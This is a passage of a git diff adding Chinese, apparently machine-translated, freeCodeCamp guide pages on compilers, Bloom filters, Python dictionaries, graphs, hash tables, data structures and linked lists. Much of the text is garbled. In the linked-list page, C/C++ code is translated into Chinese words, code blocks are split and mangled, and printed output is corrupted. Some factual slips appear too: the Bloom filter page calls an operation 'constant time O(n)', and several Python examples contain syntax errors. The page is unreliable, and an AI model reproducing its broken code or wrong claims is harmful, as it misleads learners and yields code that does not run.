+人类使用**程序**与计算机交互。程序只是提供给计算机的一系列操作码以及执行操作码所必需的数据。
+
+例如，
+```
+ADD 10, 20  // ADD is the Opcode 
+            // and 10, 20 are the two operands(data) 
+            // needed for the ADD instruction to be executed successfully 
+```
+
+人类开发解决复杂问题的方案。看一下简单的操作码是多么简单，如果我们尝试单独使用操作码开发程序，那么调试起来会非常麻烦和困难。为了解决这个问题，开发了高级语言，如C / C ++，Python，Java，Javascript等。
+
+现在，高级语言不适合计算机执行。因此，需要一种能够消化高级语言程序并将它们转换成适合于由计算机执行的机器语言指令的翻译器。
+
+#### \[人们\] - > \[高级语言程序\] - > \[翻译\] - > \[机器语言\] - > \[计算机\]
+
+**编译器**是一种翻译程序，它将高级语言翻译成二进制代码，这只不过是1和0。运行源代码时，编译器首先转换所有代码，然后生成二进制代码。然后计算机获取二进制代码并运行它。
+
+如果源代码中存在错误，编译器将检测并标记它们。这将停止编译过程。一旦修复了所有错误，编译器就会转换代码并生成可执行程序。
+
+## 编译器的一部分
+
+大多数编译器分为三个主要阶段：解析，转换和代码生成
+
+1.  _解析_是将原始代码转换为更抽象的代码表示。
+2.  _转换_采用这种抽象表示和操作来执行编译器想要的任何操作。
+3.  _代码生成_采用_代码_的变换表示并将其转换为新代码。
+
+#### 解析
+
+解析通常分为两个阶段： **词法分析**和**句法分析** 。
+
+_词法分析_采用原始代码并通过称为标记器（或词法分析器）的东西将它分成这些称为标记的东西。
+```
+Tokens are an array of tiny little objects that describe an isolated piece of the syntax. 
+ They could be numbers, labels, punctuation, operators, etc. 
+```
+
+_语法分析_获取标记并将它们重新格式化为描述语法各部分的表示形式 和他们彼此的关系。这称为中间表示或抽象语法树。
+```
+An Abstract Syntax Tree, or AST for short, is a deeply nested object. 
+ It represents code in a way that is both easy to work with and tells us a lot of information. 
+```
+
+#### 转型
+
+编译器的下一个阶段是转换。同样，这只是从最后一步获取AST并对其进行更改。 它可以用同一种语言操作AST，也可以将其翻译成全新的语言。
+
+#### 代码生成
+
+编译器的最后阶段是代码生成。有时编译器会做与转换重叠的事情，但是大多数代码生成只需要AST并将其转换为二进制代码。
+
+所有编译器都需要执行这些步骤。大多数现代编译器还执行其他步骤，例如检查类型错误和优化生成的编译代码。
+
+#### 更多信息：
+
+[Matt Adesanya的“A Gentler Programming to Programming”](https://medium.freecodecamp.org/a-gentler-introduction-to-programming-707453a79ee8)涵盖了编译器与解释器以及其他基本编程概念。
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/data-mining/index.md b/client/src/guide/chinese/computer-science/data-mining/index.md
new file mode 100644
index 0000000000..3a87094ef4
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/data-mining/index.md
@@ -0,0 +1,11 @@
+---
+title: Data Mining
+localeTitle: 数据挖掘
+---
+## 数据挖掘
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/computer-science/databases/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/data-structures/bloom-filter/index.md b/client/src/guide/chinese/computer-science/data-structures/bloom-filter/index.md
new file mode 100644
index 0000000000..f3d88ca7d3
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/data-structures/bloom-filter/index.md
@@ -0,0 +1,39 @@
+---
+title: Bloom Filter
+localeTitle: 布隆过滤器
+---
+## 描述
+
+Bloom过滤器是一种类似于集合的数据结构。 Bloom过滤器允许问题_这个项目是该集合的成员吗？_快速回答。如果项目在集合中，过滤器将永远不会返回_否_ ;但是，如果项目不在集合中，它可能会返回_Yes_ 。这是使用Bloom过滤器的一个缺点，当检查项目是否在集合中时，可能会出现误报结果。使用Bloom过滤器的好处是向项目添加项目并检查项目是否在集合中是一个恒定时间[O（n）](https://guide.freecodecamp.org/algorithms/algorithm-performance)操作。
+
+## 例
+
+以下示例使用Bloom过滤器创建好友列表。示例实现使用三个[散列函数](https://guide.freecodecamp.org/miscellaneous/hash-tables-and-hashing-functions) 。散列函数接收字符串（朋友名称）并根据Bloom过滤器中的斑点数计算字符串的单个值。
+
+将过滤器创建为10个索引的数组。 `0`表示该索引没有项目。
+
+`[0,0,0,0,0,0,0,0,0,0]`
+
+用户将David添加到好友列表中。的串（ `'David'` ）通过其返回几个散列函数把`0` ， `4` ，和`8`分别。散列函数的值用于更新这些索引处的过滤器数组。
+
+使用这些散列值更新过滤器索引。 `1`表示已在该索引处添加了项目。
+
+`[1,0,0,0,1,0,0,0,1,0]`
+
+用户将Rosie添加到好友列表中。散列函数返回`3` ， `4` ，和`6`为`'Rosie'` 。使用散列值更新过滤器索引。
+
+`[1,0,0,1,1,0,1,0,1,0]`
+
+查看Chuck是否是朋友列表的成员。字符串`'Chuck'`是通过散列函数返回放`1` ， `3` ，和`6` 。当过滤器阵列被这些索引检查，则返回`0` ， `1` ，和`1` 。因为一个索引的`0` ，所以Chuck _绝对_不是列表的成员。
+
+检查Maja是否是朋友列表的成员。字符串`'Maja'`是通过散列函数放，返回`0` ， `6` ，和`8` 。当过滤器阵列被这些索引检查，则返回`1` ， `1` ，和`1` 。因为所有三个索引的值都是`1` ，所以Maja _可能_已经是列表的成员。这是一个误报结果。
+
+## 注意事项
+
+布隆过滤器允许快速查找以确定值是否_可能_是集合的成员或_绝对_不是集合的成员。添加到布隆过滤器中的项目越多，检查项目是否是该组成员时的误报结果的比率将增加。降低误报率的一种方法是增加阵列的大小。虽然这是一种妥协，因为阵列越大，它占用的内存就越大。有必要确定给定阵列大小的可接受的假阳性结果率。
+
+## 进一步阅读
+
+[媒体后推荐算法](https://blog.medium.com/what-are-bloom-filters-1ec2a50c68ff)
+
+[Wikipedia on Bloom过滤器](https://en.wikipedia.org/wiki/Bloom_filter)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/data-structures/dictionaries/index.md b/client/src/guide/chinese/computer-science/data-structures/dictionaries/index.md
new file mode 100644
index 0000000000..de6d4e0e74
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/data-structures/dictionaries/index.md
@@ -0,0 +1,215 @@
+---
+title: Dictionaries
+localeTitle: 字典
+---
+## 字典
+
+我们假设我们有一个同类列表。我们想要计算列表中每个项目出现的次数。我们怎么能这样做，而不使用Python的内置方法，如Python收集模块中的count或Counter？谷歌搜索“如何计算列表中项目的出现次数？”将返回Stack Overflow答案，指向count方法和collections模块，但出于学习目的，我们尝试在不使用这些工具的情况下解决问题。
+
+这是我们将要使用的列表：
+
+```python
+ice_cream = ["strawberry", 
+             "vanilla", 
+             "vanilla", 
+             "chocolate", 
+             "chocolate", 
+             "chocolate", 
+             "banana", 
+             "rum raisin", 
+             "banana"] 
+```
+
+此代码使用嵌套for循环生成正确答案，将答案存储在“count”列表中：
+
+```python
+count = [] 
+ for flavor in ice_cream: 
+  found = False 
+  for entry in count: 
+    if entry[0] == flavor: 
+      entry[1] += 1 
+      found = True 
+  if not found: 
+      count.append([flavor, 1]) 
+ 
+ # Print. 
+ for (entry, total) in count: 
+  print (entry, total) 
+```
+
+尽管此代码给出了正确的答案，但它有两个问题。首先，它很复杂。程序包含的嵌套循环越多，理解，修复和扩展就越困难。而且效率低下。在这个小例子中，这可能不是问题，但想象一下包含数千或数百万个项目的列表。无论计算机有多快，每次进行观察时扫描条目列表都需要非常长的时间。在研究诸如大O符号和比较搜索和排序算法等主题时，这是一个更充分的主题。
+
+更好的答案是使用另一种称为**字典**或**地图的**数据结构。此数据结构是_键/值_对的_无序，可变_集合。想象一下像电话簿这样的字典，其中键是人的姓名，值是电话号码。字典中的键形成一个集合，这意味着它们只能出现一次，并且它们不能被更改（它们是不可变的），尽管可以更改与键相关联的值。
+
+通过将键/值对放在大括号内来创建字典。要获取与键关联的值，请将键放在方括号中。
+
+以下是一些代码示例：
+
+```python
+ice_cream = {'chocolate' : 3, 'strawberry' : 1} 
+ print (ice_cream) 
+ >> {'chocolate' : 3, 'strawberry' : 1} 
+ print (ice_cream['strawberry']) 
+ >> 1 
+```
+
+要测试密钥是否在字典中，请在d中使用k：
+
+```python
+ice_cream = {'chocolate' : 3, 'strawberry' : 1} 
+ if 'chocolate' in ice_cream: 
+    print ('chocolate is in the list') 
+ ... 
+ 
+ del ice_cream['chocolate'] 
+ if 'chocolate' in ice_cream: 
+    print ('oops: why is chocolate still there?') 
+```
+
+**更新和会员资格** 要更新词典，只需为键指定值即可。如果密钥已经在字典中，则会更改与其关联的值。
+
+如果密钥不存在，则会添加该值以及值：
+
+```python
+ice_cream = {} 
+ ice_cream['chocolate'] = 33 
+ ice_cream['vanilla'] = 999 # oops 
+ print (ice_cream) 
+ >> {'chocolate' : 33, vanilla' : 999} 
+ ice_cream['vanilla'] = 9 
+ print (ice_cream) 
+ >> {'chocolate' : 33, vanilla' : 9} 
+```
+
+使用_del d \[k\]_ ，从字典中删除一个条目，其中_d_是字典名称， _k_是要删除的密钥。只能删除存在的条目;尝试删除不存在的那个导致错误：
+
+```python
+ice_cream = {'chocolate' : 33, vanilla' : 9} 
+ del ice_cream['chocolate'] 
+ print (ice_cream) 
+ >> {'vanilla' : 9} 
+ del ice_cream['strawberry'] 
+ >> Traceback (most recent call last): 
+   File "<stdin>", line 5, in <module> 
+   KeyError: 'strawberry' 
+```
+
+**循环** 由于字典是集合（以及列表，元组和集合），我们将要遍历它们 内容。我们使用for循环执行此操作，该循环将字典中的每个键依次分配给循环变量：
+
+```python
+ice_cream = {'chocolate' : 183, 
+             'vanilla' : 71, 
+             'strawberry' : 63, 
+             'banana', 1} 
+ for flavor in ice_cream: 
+  print (flavor, ice_cream[flavor]) 
+ 
+ >> 'banana' 1 
+   'vanilla' 71 
+   'chocolate' 183 
+   'strawberry' 63 
+```
+
+与set元素一样，Python以任意顺序循环遍历字典中的条目。无法保证按字母顺序或按顺序查看它们，它们会被添加到字典中。顺便提一下，注意循环字典与循环列表略有不同。当Python循环遍历列表时，列表中的值将分配给循环变量。另一方面，当它在字典上循环时，它会分配键。 Python的设计师选择这样做是因为：
+
+*   循环遍历列表的索引并不是很有趣，因为 程序总是得到序列0,1,2，...;和
+*   从字典键到关联值更容易 而不是获取值并找到相关的键。
+
+**字典方法** 字典是对象，就像列表，元组和集合一样。一些常见的字典方法是：
+
+*   _d.clear（）_ - 清除字典
+*   _d.get（x，99）_ - 返回与键关联的值，如果键不存在则返回默认值。
+*   _d.keys（）_ - 返回键
+*   _d.items（）_ - 返回键，值对的列表
+*   _d.values（）_ - 将值作为列表返回，值可能不是唯一的
+*   _d.update（）_ - 用另一个内容更新字典
+
+项的一个常见用途是将字典中的键和值循环在一起： for（key，value）in dictionary.items（）： ......用钥匙和价值做点事......
+
+这对于大型字典来说效率很低，因为items（）实际上构造了一个（键，值）对的列表。一个名为_iteritems（）的_类似方法根据需要将这些对逐个移回： for（key，value）in dictionary.iteritems（）： ......用钥匙和价值做点事......
+
+让我们回到原始示例 - 我们如何使用字典计算ice\_cream列表中的项目数？
+
+```python
+# Count all the flavors. 
+ ice_cream = ["strawberry", 
+             "vanilla", 
+             "vanilla", 
+             "chocolate", 
+             "chocolate", 
+             "chocolate", 
+             "banana", 
+             "rum raisin", 
+             "banana"] 
+ 
+ count = {} 
+ for flavor in ice_cream: 
+  if flavor in count: 
+    count[flavor] = count[flavor] + 1 
+  else: 
+    count[flavor] = 1 
+ 
+ # Print. 
+ for b in count: 
+  print (b, count[b]) 
+```
+
+为此，我们创建一个最初为空的字典。每次我们遍历ice\_cream列表时，我们都会检查 看看这个味道是否已经在计数词典中。如果是，我们在其计数中添加一个。 如果不是，我们将名称添加到字典中，值为1。
+
+我们可以使用方法_dict.get（）_稍微缩短这个程序。这将返回与键关联的值或我们提供的某个默认值。在这种情况下，我们得到我们已经看到一个味道或零的次数，将该方法返回的值加1，然后将其存储在字典中：
+
+```python
+# Count all the flavors. 
+ count = {} 
+ for flavor in ice_cream: 
+  count[flavor] = count.get(flavor, 0) + 1 
+ 
+ # Print. 
+ keys = count.keys() 
+ keys.sort() 
+ for b in keys: 
+  print (b, count[b]) 
+ 
+ # Print. 
+ for key in sorted(count): 
+  print (key, count[key]) 
+```
+
+请注意，我们使用两种不同的方式来打印密钥和值：一种使用Python的排序方法，另一种不使用。
+
+如果我们想按频率顺序打印味道，我们需要**反转字典** 。这意味着我们需要将值用作键，将键用作值。由于无法保证值是唯一的，因此我们需要采取措施避免_冲突_ 。
+
+解决方案是使用某种集合（例如列表）来存储反向字典的值。如果我们走这条路线，前面显示的字典的倒数将是{1：\['a'，'b'，'c'\]}。这是一个做我们想要的程序：
+
+```python
+ice_cream = ["strawberry", 
+             "vanilla", 
+             "vanilla", 
+             "chocolate", 
+             "chocolate", 
+             "chocolate", 
+             "banana", 
+             "rum raisin", 
+             "banana"] 
+ 
+ # Count all the flavors. 
+ count = {} 
+ for flavor in ice_cream: 
+  count[flavor] = count.get(flavor, 0) + 1 
+ 
+ # Invert the dictionary. 
+ freq = {} 
+ for (flavor, times) in count.items(): 
+  if times in freq: 
+    freq[times].append(flavor) 
+  else: 
+    freq[times] = [flavor] 
+ 
+ # Print. 
+ for key in freq: 
+  for flavor in sorted(freq[key]): 
+    print (key,":", " ", flavor) 
+```
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/data-structures/graphs/index.md b/client/src/guide/chinese/computer-science/data-structures/graphs/index.md
new file mode 100644
index 0000000000..a7acdeb7af
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/data-structures/graphs/index.md
@@ -0,0 +1,47 @@
+---
+title: Graphs
+localeTitle: 图表
+---
+## 图表
+
+图表是可用于解决路由问题的数据结构，例如“这两个组件是否已连接？”和“从a点到b点的最短路径是什么？”
+
+图由节点和边组成。 节点（即顶点）是图形中的对象。 节点可以包含诸如节点名称和附加到哪些边缘之类的信息。 边是连接两个节点的链接。 边缘可以包含诸如边缘的重量之类的信息。 如果两个节点通过边连接，则它们是邻居（即相邻）。
+
+根据问题，您可以使用双向（无向）或单向（定向）边。 如果你有一个从a到b的无向边，那么从b到a也有一种方法。 如果从a到b有一个有向边，则b和a之间不一定有边。
+
+您可以使用图表来制定以下情况：
+
+*   地理地图
+*   您所在国家/地区的每个城市都是节点
+*   如果两个城市通过公路连接，则它们之间存在边缘 \*道路可以是单向或双向（有向和无向边） \*重量可以是道路的长度
+*   水流
+    *   每个闸门都是一个节点
+    *   每条运河都是边缘
+        *   水只会沿一个方向流动，因此边缘是直的
+        *   重量可以是流量的最大水容量
+
+示例：一个图表，其中包含北欧国家首都的节点，以及（无向）边缘到通过直接道路连接的城市的行车距离。
+```
+.     +---------+ 
+ .     |Reykjavik| 
+ .     +---------+ 
+ . 
+ . 
+ .         529 km   +---------+  1760 km  +--------+ 
+ .    +------------+|Stockholm|+---------+|Helsinki| 
+ .    |             +---------+           +--------+ 
+ .    +                                        + 
+ . +----+                    1991 km           | 
+ . |Oslo|+-------------------------------------+ 
+ . +----+ 
+ .         +----------+ 
+ .         |Copenhagen| 
+ .         +----------+ 
+```
+
+#### 更多信息：
+
+[广度优先搜索（BFS）](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/graph-algorithms/breadth-first-search/index.md)
+
+[深度优先搜索（DFS）](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/graph-algorithms/depth-first-search/index.md)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/data-structures/hash-tables/index.md b/client/src/guide/chinese/computer-science/data-structures/hash-tables/index.md
new file mode 100644
index 0000000000..07f5c6e2ab
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/data-structures/hash-tables/index.md
@@ -0,0 +1,127 @@
+---
+title: Hash Tables
+localeTitle: 哈希表
+---
+## 哈希表
+
+散列表（或散列映射）是一种可以将键映射到值的数据结构。散列表使用散列函数来计算索引 进入一个桶阵列，从中可以找到所需的值。定义良好的Hash函数的时间复杂度可以是O（1）。
+
+哈希表（哈希映射）是一种实现关联数组抽象数据类型的数据结构，这种结构可以将键映射到值。哈希表使用哈希函数来计算桶或槽阵列的索引，从中可以找到所需的值。
+
+![哈希表的一个例子](https://github.com/TomerPacific/fccGuideImages/blob/master/315px-Hash_table_3_1_1_0_1_0_0_SP.svg.png?raw=true)
+
+哈希表的一些重要属性 - 1）值不按排序顺序存储。 2）在哈希表中，还必须处理潜在的冲突。 这通常通过链接来完成，这意味着创建其键映射到特定索引的所有值的链接列表。
+
+哈希表的实现
+
+传统上，哈希表是使用链表列表实现的。 当我们想要插入一个键/值对时，我们使用哈希函数将键映射到数组中的索引。 然后将该值插入该位置的链接列表中。
+
+散列的想法是在一系列桶中分配条目（键/值对）。 给定一个密钥，该算法计算一个索引，该索引建议可以找到条目的位置：
+```
+index = f(key, array_size) 
+```
+
+通常这分两步完成：
+```
+hash = hashfunc(key) 
+ index = hash % array_size 
+```
+
+在此方法中，散列与数组大小无关，然后使用模运算符（％）将其缩减为索引（介于0和array\_size - 1之间的数字）。
+
+让我们考虑字符串S.您需要计算此字符串中所有字符的频率。
+```
+string S = “ababcd” 
+```
+
+最简单的方法是迭代所有可能的字符并逐个计算它们的频率。 这种方法的时间复杂度为O（26 \* N），其中N是字符串的大小，有26个可能的字符。
+```
+void countFre(string S) 
+    { 
+        for(char c = 'a';c <= 'z';++c) 
+        { 
+            int frequency = 0; 
+            for(int i = 0;i < S.length();++i) 
+                if(S[i] == c) 
+                    frequency++; 
+            cout << c << ' ' << frequency << endl; 
+        } 
+    } 
+```
+
+产量
+```
+a 2 
+ b 2 
+ c 1 
+ d 1 
+ e 0 
+ f 0 
+ … 
+ z 0 
+```
+
+让我们对这个问题应用哈希。采用大小为26的数组频率，并使用散列函数使用数组的索引散列26个字符。 然后，迭代字符串并增加每个字符的相应索引处的频率值。 这种方法的复杂性是O（N），其中N是字符串的大小。
+```
+int Frequency[26]; 
+ 
+    int hashFunc(char c) 
+    { 
+        return (c - 'a'); 
+    } 
+ 
+    void countFre(string S) 
+    { 
+        for(int i = 0;i < S.length();++i) 
+        { 
+            int index = hashFunc(S[i]); 
+            Frequency[index]++; 
+        } 
+        for(int i = 0;i < 26;++i) 
+            cout << (char)(i+'a') << ' ' << Frequency[i] << endl; 
+    } 
+```
+
+产量
+```
+a 2 
+ b 2 
+ c 1 
+ d 1 
+ e 0 
+ f 0 
+ … 
+ z 0 
+```
+
+### 哈希碰撞
+
+当您使用哈希映射时，您必须假设哈希冲突是不可避免的，因为您将使用的哈希映射的大小远小于您拥有的数据量。解决这些冲突的两种主要方法是链接和开放寻址。
+
+#### 链接
+
+解决哈希冲突的一种方法是使用链接。这意味着对于散列表中的每个键值映射，值字段将不仅包含一个数据单元，而是包含数据的链接列表。在下图所示的示例中，您可以看到Sandra Dee在John Smith之后被添加为键152的另一个元素。
+
+![在哈希表中链接的示例](https://github.com/TomerPacific/fccGuideImages/blob/master/620px-Hash_table_5_0_1_1_1_1_0_LL.svg.png?raw=true)
+
+关于链接的主要挫折是时间复杂性的增加。这意味着，代替常规哈希表的O（1）属性，每个操作现在将花费更多时间，因为我们需要遍历链表。
+
+#### 打开寻址
+
+解决哈希冲突的另一种方法是使用开放寻址。在此方法中，一旦将值映射到已占用的键，您将以预定的确定方式沿着哈希表的相邻键移动，直到找到具有空值的键。在下图所示的示例中，Sandra Dee被映射到键153，即使她的值应该映射到152。
+
+![哈希表中的开放寻址的示例](https://github.com/TomerPacific/fccGuideImages/blob/master/380px-Hash_table_5_0_1_1_1_1_0_SP.svg.png?raw=true)
+
+开放寻址的主要挫折在于，当需要查找值时，它们可能不在您期望的位置（键映射）。因此，您必须遍历散列表的某些部分才能找到您要查找的值，从而导致时间复杂度增加。
+
+#### 时间复杂性
+
+值得注意的是，哈希表具有分摊的常量复杂度，即在平均情况下，复杂度将为O（1）。 在最坏的情况下，如果将太多元素散列到相同的密钥中，则它可以具有O（n）的时间复杂度。
+
+### 更多信息：
+
+[有关哈希表的更多信息 - Wiki](https://en.wikipedia.org/wiki/Hash_table) [哈希表与STL-map的比较](http://www.geeksforgeeks.org/hash-table-vs-stl-map/)
+
+#### 资源
+
+[哈希表的基础知识 - HackerEarth](https://www.hackerearth.com/practice/data-structures/hash-tables/basics-of-hash-tables/tutorial/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/data-structures/index.md b/client/src/guide/chinese/computer-science/data-structures/index.md
new file mode 100644
index 0000000000..50840abddb
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/data-structures/index.md
@@ -0,0 +1,20 @@
+---
+title: Data Structures
+localeTitle: 数据结构
+---
+## 数据结构
+
+数据结构是一种收集和组织数据的方式，我们可以以有效的方式对这些数据执行操作。数据结构是关于根据某种关系呈现数据元素，以便更好地组织和存储。例如，我们有数据播放器的名称“Virat”和26岁。这里“Virat”是String数据类型，26是整数数据类型。
+
+我们可以将这些数据组织为像Player记录这样的记录。现在我们可以将文件或数据库中的玩家记录收集并存储为数据结构。例如：“Dhoni”30，“Gambhir”31，“Sehwag”33
+
+在简单语言中，数据结构是被编程为存储有序数据的结构，因此可以容易地对其执行各种操作。它代表了要在内存中组织的数据的知识。它应该以这样的方式设计和实施，即降低复杂性并提高效率。
+
+在计算机存储器即RAM中，根据程序的要求创建不同的数据结构，如堆栈，队列，链表，堆等，以便有效地使用存储器。
+
+#### 更多信息：
+
+*   [数据结构](http://www.studytonight.com/data-structures/introduction-to-data-structures)
+*   [极客为极客](http://www.geeksforgeeks.org/data-structures/)
+*   [教程点](https://www.tutorialspoint.com/data_structures_algorithms/data_structure_overview.htm)
+*   [数据结构](http://www.studytonight.com/data-structures/introduction-to-data-structures)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/data-structures/linked-lists/index.md b/client/src/guide/chinese/computer-science/data-structures/linked-lists/index.md
new file mode 100644
index 0000000000..f39db01fae
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/data-structures/linked-lists/index.md
@@ -0,0 +1,347 @@
+---
+title: Linked Lists
+localeTitle: 链接列表
+---
+## 链接列表
+
+#### 链表是一种简单的_线性访问_数据结构。
+
+链表是一种简单的数据结构，但它可用于实现更复杂的数据结构，如队列，堆栈等。链接列表有三种类型：
+
+1.  简单链接列表
+2.  双重链接列表（或双端链接列表）
+3.  圆形链接列表（环形缓冲区）
+
+链接列表| （介绍） 与数组一样，Linked List是一种线性数据结构。与数组不同，链表元素不存储在连续的位置;使用Javascript（对下一个节点的引用）使用指针或类似链接元素。
+
+如果您想了解链接列表，有助于理解**数组** 。
+
+回顾一下，数组传统上是一种**静态** **线性**数据结构，支持恒定时间随机访问。插入和删除并不总是恒定的时间。
+
+阵列的优点 1）动态尺寸 2）易于插入/删除
+
+\`\`\` static = size在创建时固定 线性=作为单个块线性存储在存储器中
+```
+#### Arrays have the following disadvantages:- 
+ 1. Arrays are static structures and therefore cannot be easily extended or reduced to fit the data set. 
+ 2. Arrays are also expensive to maintain new insertions and deletions. 
+ 
+ Linked Lists address some of the limitations of arrays. Unlike an array, where all the elements are stored in a contiguous block of memory, in a linked list each element is a separate object and has a **link** to the next element in sequence. This allows a linked list to start with space for only one element, and grow to accomodate an arbitrary number of elements by allocating memory as and when needed. 
+ 
+ Deleting elements is also simply handled by manipulating links. 
+ 
+ Once you understand the Simple Linked List (which from here on will be referred as **'List'**), you can move on to the Doubly Linked List. 
+ 
+ A List as illustrated below is made up of the following components:- 
+```
+
+```
+     head 
+         | 
+         | 
+    +---+---+     +---+---+       +----+------+ 
+    | 1  | o----->|  2  | o-----> |  3 |   φ  | 
+    +---+---+     +---+---+       +----+------+ 
+                                          | 
+                                          | 
+                                          tail 
+```
+
+```
+| Node      | Significance     | 
+ | ----------|-------------| 
+ | HEAD      | Beginning of the List| 
+ | Node(s)   | Dynamically allocated self-referential block contain 1 Data element and a link to the next node | 
+ | TAIL      | End of the List | 
+ 
+ Most common operations available on List are, 
+ 1. AddFirst - Inserts an element at the front of the List. 
+ 2. AddLast - Inserts an element at the tail of the List. 
+ 3. InsertAfter - Inserts an element after an existing element in the List. 
+ 4. InsertBefore - Inserts an element before an existing element in the List. 
+ 5. Remove - Remove an existing element from the List. 
+ 6. Access / Peek - Access an existing element from the List. 
+ 7. Size / Count - Returns the number of elements currently present in the List. 
+ 8. IsEmpty - Check whether the List is empty or not. 
+ 
+ #### Implementation of a Simple Linked List in C++ 
+```
+
+CPP
+
+# 包括
+
+使用命名空间std;
+
+结构编号 { int num; struct Number \* tail; };
+
+typedef struct Number N;
+
+班级名单 { 私人的： N _头，_结束; int count;
+```
+public: 
+    void display(); 
+    void insertBefore(int); 
+    List(); 
+```
+
+};
+
+List :: List（） { 头= NULL; 结束= NULL; 计数= 0; }
+
+void List :: insertBefore（int data） { N \*节点; node = new N; 节点 - > NUM =数据; 节点 - >尾= NULL;
+```
+    if(!head){ 
+        head=end=node; 
+    } 
+ 
+    else{ 
+        node->tail=head; 
+        head=node; 
+    } 
+ 
+    count++; 
+```
+
+}
+
+void List :: display（） { cout <<“list中的节点数=”<< count << endl; N \*节点; 节点=头; 而（节点） {
+```
+    cout<<node->num<<endl; 
+    node=node->tail; 
+ 
+ } 
+```
+
+} int main（） { 清单l1;
+```
+l1.insertBefore(10); 
+ l1.insertBefore(20); 
+ l1.insertBefore(30); 
+ l1.insertBefore(40); 
+ l1.insertBefore(50); 
+ l1.display(); 
+ 
+ return 0; 
+```
+
+}
+```
+#### OUTPUT 
+```
+
+列表中的节点数= 5 50 40 三十 20 10
+```
+#### Explanation 
+```
+
+CPP
+
+结构编号 { int num; struct Number \* tail;
+
+};
+```
+Declaration of a structure(node) with 2 data members 
+ * `num` holds the integer data value 
+ * `*tail` pointer points to the next node in the List 
+```
+
+CPP 班级名单 { 私人的： N _头，_结束; int count;
+```
+public: 
+    void display(); 
+    void insertBefore(int); 
+    List(); 
+```
+
+};
+```
+The List class declares the Linked List. 
+ * `*head` points to the first node in the List 
+ * `*end` points to the last node in the List 
+ * `count` holds the value for number of nodes in the list 
+ * `display()` is used to print the complete list on the console 
+ * `insertBefore()` is used to insert a new node 
+ * `List()` is a defualt constructor 
+```
+
+CPP List :: List（） { 头= NULL; 结束= NULL; 计数= 0; }
+```
+The default constructor is used to initialize the data members of the List class with default values 
+```
+
+CPP void List :: insertBefore（int data） { N \*节点; node = new N; 节点 - > NUM =数据; 节点 - >尾= NULL;
+```
+    if(!head){ 
+        head=end=node; 
+    } 
+ 
+    else{ 
+        node->tail=head; 
+        head=node; 
+    } 
+ 
+    count++; 
+```
+
+}
+```
+* A new node is created. 
+ * `num` is assigned the value of `data`. 
+ * `tail` is pointing to Null. 
+ * The `if(!head)` condition is true only when there are no elements in the List. 
+ * When this is the case, `head` and `end` are both pointing to the newly created node. 
+ * Control will move to the `else` section, when there is at least one node in the list. 
+ * In this case, `tail` pointer in the newly created node is made to point to the `head`(first) node. 
+ * The `head` pointer then points to the newly created node to make it the first node in the list. 
+ * `count` is incremented by 1    as each new node is added. 
+```
+
+CPP void List :: display（） { N \*节点; 节点=头; 而（节点） { COUT < NUM <
+```
+The display function is used to run through the list and print the total number of nodes and values of `num` on the console. 
+ 
+ #### Applications 
+ * Base Data Structure for Vector, Array, Queue, Stack, etc 
+ * Polynomial Representation 
+ * Ring Buffer 
+ 
+ Drawbacks: 
+ 1) Random access is not allowed. We have to access elements sequentially starting from the first node. So we cannot do binary search with linked lists. 
+ 2) Extra memory space for a pointer is required with each element of the list 
+ 
+ 
+ Types: 
+ 1) (Singly) linked lists contain nodes which have a data field as well as a 'next' field, which points to the next node in line of nodes. Operations that can be performed on singly linked lists include insertion, deletion and traversal. 
+ 
+ 2) (Doubly) In a 'doubly linked list', each node contains, besides the next-node link, a second link field pointing to the 'previous' node in the sequence. The two links may be called 'forward('s') and 'backwards', or 'next' and 'prev'('previous'). 
+ 
+ Example in Javascript: 
+```
+
+function LinkedList（）{ this.head = null; this.tail = null; }
+```
+// Node has three properties value, next, prev 
+ 
+ function Node (value, next, prev) { 
+ 
+    this.value = value; 
+ 
+ // A 'pointer' referencing to the next Node (if present) otherwise null 
+ 
+    this.next = next; 
+ 
+ // A 'pointer' referencing the previous Node, otherwise null 
+ 
+    this.prev = prev; 
+ } 
+ 
+ LinkedList.prototype.addToHead = function(value) { 
+ 
+    let newNode = new Node(value, this.head, null); 
+ 
+    if (this.head) this.head.prev = newNode; 
+ 
+    else this.tail = newNode; 
+ 
+    this.head = newNode; 
+ } 
+```
+
+```
+Now Execute code 
+```
+
+让LL = new LinkedList（）;
+```
+LL.addToHead(100); 
+ 
+ LL.addToHead(200); 
+ 
+ console.log(LL); 
+```
+
+```
+Representation in C: 
+ A linked list is represented by a pointer to the first node of the linked list. The first node is called head. If the linked list is empty, then value of head is NULL. 
+ Each node in a list consists of at least two parts: 
+ 1) data 
+ 2) pointer to the next node 
+ In C, we can represent a node using structures. Below is an example of a linked list node with an integer data. 
+ In Java, LinkedList can be represented as a class and a Node as a separate class. The LinkedList class contains a reference of Node class type 
+```
+
+C //链表节点 struct Node { int数据; struct Node \* next; };
+```
+# Linked List with three elements 
+```
+
+C //一个简单的C程序来介绍 //一个链表
+
+# 包括
+
+# 包括
+
+struct Node { int数据; struct Node \* next; };
+
+//程序创建一个简单的链接 //列出3个节点 int main（） { struct Node \* head = NULL; struct Node \* second = NULL; struct Node \* third = NULL;
+
+//在堆中分配3个节点  
+head =（struct Node _）malloc（sizeof（struct Node））; second =（struct Node_ ）malloc（sizeof（struct Node））; third =（struct Node \*）malloc（sizeof（struct Node））;
+
+/ \*动态分配了三个块。 我们指向这三个块作为第一，第二和第三块  
